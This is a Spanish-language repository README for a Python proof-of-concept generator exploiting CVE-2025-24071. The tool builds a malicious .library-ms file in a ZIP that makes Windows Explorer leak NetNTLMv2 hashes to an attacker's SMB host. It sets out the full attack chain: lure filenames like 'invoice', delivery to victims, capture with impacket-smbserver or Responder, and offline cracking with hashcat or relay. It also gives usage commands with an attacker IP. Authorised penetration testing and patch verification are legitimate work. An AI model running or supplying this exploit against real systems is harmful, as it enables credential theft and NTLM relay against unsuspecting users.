
Generador de PoC en Python sin dependencias para CVE-2025-24071 que crea un archivo .library-ms malicioso en un ZIP para desencadenar la divulgación del hash NTLM de Windows Explorer.
⚠️ Aviso legal: Esta herramienta está destinada únicamente a fines educativos y a pruebas de penetración autorizadas. Úsala solo contra sistemas que poseas o para los que tengas permiso explícito por escrito para probar. El uso no autorizado es ilegal.
Windows File Explorer analiza automáticamente ciertos tipos de archivo en cuanto aparecen en la vista de una carpeta, sin ninguna interacción del usuario como hacer doble clic. Las versiones afectadas no validan correctamente los archivos .library-ms, que pueden definir un conector de búsqueda que apunta a una ruta SMB remota arbitraria.
Cuando Explorer muestra una carpeta que contiene un archivo .library-ms malicioso (por ejemplo, justo después de extraer un archivo ZIP/RAR), intenta silenciosamente conectarse a la ruta UNC controlada por el atacante para resolver la ubicación de la "biblioteca". Este intento de conexión SMB transporta el hash NetNTLMv2 de la víctima, que un atacante que capture el tráfico en el host especificado (por ejemplo, con impacket-smbserver o Responder) puede intentar crackear offline o relayar.
Este repositorio contiene una reescritura mínima y sin dependencias de un generador de PoC público para esta vulnerabilidad: construye el archivo .library-ms malicioso y lo empaqueta en un ZIP, usando únicamente la biblioteca estándar de Python.
Un archivo .library-ms es un documento XML que indica a Windows Explorer que muestre el contenido de una ubicación remota o local como una "biblioteca". Su elemento <simpleLocation><url> puede apuntar a una ruta UNC (\\<host>\<share>).
En las versiones afectadas, Explorer resuelve esta ubicación en cuanto se muestra la carpeta — no se requiere hacer doble clic ni ninguna acción explícita más allá de tener el archivo visible en la vista de una carpeta (por ejemplo, justo después de extraer un archivo que lo contiene).
impacket-smbserver, Responder, etc.)..library-ms malicioso, apuntando a \\<attacker_ip>\<share>.1. Start an SMB listener on the attacker machine
2. Generate a .library-ms file pointing to \\<attacker_ip>\<share>
3. Package it into a ZIP archive
4. Deliver the ZIP to the victim (upload feature, email, share, etc.)
5. Victim extracts the ZIP and Explorer renders the folder
6. Explorer resolves the UNC path -> SMB auth attempt -> NetNTLMv2 hash captured
7. Crack the hash offline (hashcat -m 5600) or relay it
os, sys, argparse, zipfile)No se necesitan dependencias de terceros para generar el payload. Capturar el hash requiere un listener SMB como Impacket (impacket-smbserver) o Responder en el lado del atacante.
git clone https://github.com/BardLaudian/CVE-2025-24071.git
cd CVE-2025-24071
usage: cve_2025_24071.py [-h] [-n NAME] [-i IP] [-s SHARE] [-o OUTDIR] [-a]
options:
-n NAME, --name NAME Output base filename (no extension)
-i IP, --ip IP Attacker IP to embed as the UNC path target
-s SHARE, --share SHARE Share name (default: shared)
-o OUTDIR, --outdir OUTDIR Output directory (default: current dir)
-a, --affected-versions Print the list of affected Windows versions and exit
python3 cve_2025_24071.py -n invoice -i 10.10.14.5
Esto produce invoice.zip, que contiene invoice.library-ms apuntando a \\10.10.14.5\shared.
impacket-smbserver shared /tmp/smbshare -smb2support
python3 cve_2025_24071.py -n report -i 10.10.14.5 -s data -o ./payloads
python3 cve_2025_24071.py -a
.library-ms y tipos de archivo similares que se analizan automáticamente antes de que lleguen a las estaciones de trabajo de los usuarios finales..library-ms, sin nueva técnica de explotación| Campo | Valor |
|---|
| CVE | CVE-2025-24071 |
| Afectados | Windows 10 (1607–22H2), Windows 11 (22H2–24H2), Windows Server 2012 R2 – 2025 |
| Tipo | Exposición de información sensible a un actor no autorizado (CWE-200) |
| Privilegios | Ninguno (atacante no autenticado; requiere que la víctima vea/extraiga el archivo) |
| Impacto | Divulgación del hash NetNTLMv2 → cracking offline o relay NTLM |
| CVSS | 7.5 Alto (según GitHub Advisory Database) / 6.5 (base MSRC) |
| Parche | Actualizaciones acumulativas del Patch Tuesday de marzo de 2025 |